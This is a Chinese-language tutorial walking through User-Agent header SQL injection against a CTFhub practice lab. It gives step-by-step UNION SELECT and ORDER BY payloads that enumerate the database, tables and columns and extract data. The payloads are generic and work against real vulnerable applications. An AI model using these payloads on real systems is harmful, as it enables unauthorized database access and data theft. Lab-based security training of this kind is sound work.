UA是什么?
UA全程User-Agent,直译意思为”用户代理”,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
如下为Firefox的UA,Mozila是Firefox母公司名
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
如下为从Chrome上抓取到的UA:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
漏洞产生原因
后台在接收UA时没有对UA做过滤,直接把接收到的浏览器UA信息写入了SQL语句之中,导致了sql注入的产生
流程
可以使用sqli-labs练习UA注入,也可以在其他靶场环境练习,这里使用CTFhub上的UA注入环境演示,因为该环境能实时看到SQL语句的执行情况
抓包得到UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
修改UA
User-Agent: 1
使用浏览器上的Hackbar或者Burp抓包修改UA,Hackbar需要勾选User Agent,然后在下方的框中输入恶意代码
Burp抓包修改UA就简单多了,直接抓包然后鼠标右键选择发送到Repeater,在Repeater中直接修改UA即可。
类型判断
在1后面添加一个单引号【’】加入发送,结果页面显示不完整,不再显示id,所以id参数类型为整型而非字符型。
列(字段)数判断
输入:User-Agent: 1 order by 1
输入:User-Agent: 1 order by 2 页面正常
输入:User-Agent: 1 order by 3 页面显示不正常,不显示id,说明列数为2
当前使用的数据库名
联合注入爆出数据库名,得到数据库为sqli
输入:User-Agent: -1 union select 1,database()
数据库sqli中的表
输入:User-Agent: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=’sqli’
或
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
表中的字段/列
输入:User-Agent:-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’xxxxxx’
具体数据
输入:User-Agent: -1 union select 1,xxxxxxx from xxxxxx
得到具体flag